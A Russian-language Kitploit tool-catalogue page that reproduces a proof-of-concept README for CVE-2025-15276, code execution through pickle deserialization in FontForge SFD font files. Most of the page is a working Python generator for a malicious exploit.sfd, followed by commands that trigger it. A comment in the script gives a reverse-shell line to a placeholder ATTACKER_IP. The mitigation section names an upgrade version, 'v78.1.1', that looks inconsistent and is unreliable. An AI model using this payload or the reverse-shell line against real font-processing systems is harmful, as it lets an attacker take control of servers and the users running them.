Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-15276-poc — Доказательство концепции для CVE-2025-15276 - уязвимость удаленного выполнения кода при разборе SFD-файлов FontForge (десериализация недоверенных данных) | Kitploit
Инструменты/GitHubGitHub/ahmedreda38/cve-2025-15276-poc
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияОбучение и ОбразованиеИнструмент Удаленного ДоступаЭксплуатация Бинарных Файлов
GitHubahmedreda38/cve-2025-15276-poc

CVE-2025-15276-poc

Доказательство концепции для CVE-2025-15276 - уязвимость удаленного выполнения кода при разборе SFD-файлов FontForge (десериализация недоверенных данных)

Репозиторий
225 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-15276: Небезопасная десериализация PickledData в FontForge SFD (RCE)

Отказ от ответственности

Этот Proof of Concept (PoC) предназначен только для образовательных целей и аудита безопасности. Автор не несет ответственности за неправомерное использование этой информации. Несанкционированный доступ к компьютерным системам незаконен. Всегда получайте явное разрешение перед проведением тестирования безопасности на любой системе.


Обзор уязвимости

CVE-2025-15276 — это критическая уязвимость удаленного выполнения кода (RCE) в FontForge (версии до 20230101 включительно). Ошибка существует при разборе формата Spline Font Database (.sfd), а именно в поле PickledData.

Техническая деталь

Формат SFD FontForge позволяет хранить постоянные словари Python с помощью ключевого слова PickledData. При загрузке шрифта FontForge извлекает эту строку и передает ее напрямую в функцию Python (или эквивалентную внутреннюю процедуру десериализации) без какой-либо очистки или изоляции.

pickle.loads()

Поскольку модуль Python pickle по своей сути небезопасен и позволяет произвольно восстанавливать объекты, злоумышленник может использовать метод __reduce__ для выполнения произвольных системных команд с привилегиями пользователя, запускающего FontForge.


Шаги по воспроизведению

1. Требования

  • Уязвимый FontForge: Версия 20230101 или более ранняя.
  • Python 3.x: Для генерации вредоносной нагрузки.

2. Создание вредоносного SFD-файла

Используйте следующий скрипт Python (gen_poc.py) для создания файла exploit.sfd. Этот PoC настроен на создание файла в /tmp/pwned в качестве безопасного индикатора компрометации (IoC).

root@kitploit:~
import pickle
import os

# For a reverse shell: "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'"
cmd = "bash -c 'touch /tmp/pwned'"

class Exploit(object):
    def __reduce__(self):
        return (os.system, (cmd,))

# Serialize the object using Protocol 0 (ASCII) for SFD compatibility
payload = pickle.dumps(Exploit(), protocol=0).decode('ascii')

# Escape backslashes and quotes as required by the SFD format
escaped_payload = payload.replace('\\', '\\\\').replace('"', '\\"')

# Construct the minimal SFD structure
sfd_content = f"""SplineFontDB: 3.2
FontName: ExploitFont
FullName: Exploit Font
FamilyName: Exploit
Weight: Regular
PickledData: "{escaped_payload}"
EndSplineFont
"""

with open("exploit.sfd", "w") as f:
    f.write(sfd_content)

print("[+] exploit.sfd generated successfully.")

3. Запуск уязвимости

Уязвимость можно запустить, просто открыв файл в FontForge.

Вариант A: Стандартная загрузка через GUI/CLI

root@kitploit:~
fontforge exploit.sfd

Вариант B: Интерфейс скриптов Python (часто используется в автоматизированных конвейерах)

root@kitploit:~
fontforge -c 'import fontforge; fontforge.open("exploit.sfd")'

4. Проверка

Проверьте, была ли выполнена команда:

root@kitploit:~
ls -l /tmp/pwned

Влияние в автоматизированных средах

Эта уязвимость особенно опасна в конвейерах обработки шрифтов (например, веб-конвертеры шрифтов или автоматические скрипты проверки), которые используют FontForge в бэкенде для обработки загруженных пользователями файлов. Если бэкенд-скрипт вызывает fontforge.open() для ненадежного .sfd-файла, злоумышленник получает полный контроль над сервером обработки.


Смягчение

  1. Обновите FontForge: Обновитесь до последней версии (v78.1.1 или новее), в которой эти пути небезопасной десериализации были исправлены или ограничены.
  2. Очистка входных данных: Если вы создаете инструменты с использованием API FontForge, строго проверяйте формат файла перед обработкой и никогда не допускайте обработку .sfd-файлов из ненадежных источников.
  3. Изоляция: Запускайте задачи обработки шрифтов внутри контейнера с низкими привилегиями (например, Docker) или ограниченной песочницы, чтобы ограничить влияние возможной компрометации.

Ссылки

  • CVE-2025-15276 NVD Entry
  • Zero Day Initiative (ZDI) Report
  • FontForge GitHub Repository
Скачать инструмент